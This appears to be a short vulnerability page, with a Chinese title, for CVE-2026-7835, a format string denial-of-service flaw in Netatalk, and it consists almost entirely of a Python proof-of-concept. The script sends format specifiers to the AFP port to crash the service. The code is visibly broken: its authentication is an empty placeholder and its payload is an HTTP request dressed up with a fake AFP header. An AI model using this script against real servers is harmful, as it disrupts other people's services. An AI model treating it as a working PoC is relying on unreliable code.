CVE-2026-7835 Netatalk 格式字符串漏洞致DoS

import socket # PoC for CVE-2026-7835 # Description: Format string vulnerability in Netatalk leading to DoS # Note: Authentication is required def send_exploit(target_ip, target_port, username, password): try: # Establish TCP connection to AFP port s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # 1. Perform AFP Authentication (simplified) # ... Auth handshake logic ... # 2. Craft payload with format specifiers # Sending a string with format specifiers to trigger the mismatch payload = b"\x00\x00\x00\x50" # Example AFP header length payload += b"GET / HTTP/1.1\r\nHost: %p%p%p%p\r\n\r\n" # Example payload s.send(payload) print("[+] Payload sent successfully.") print("[+] Check if the Netatalk service has crashed.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target_ip = "192.168.1.10" send_exploit(target_ip, 548, "user", "pass")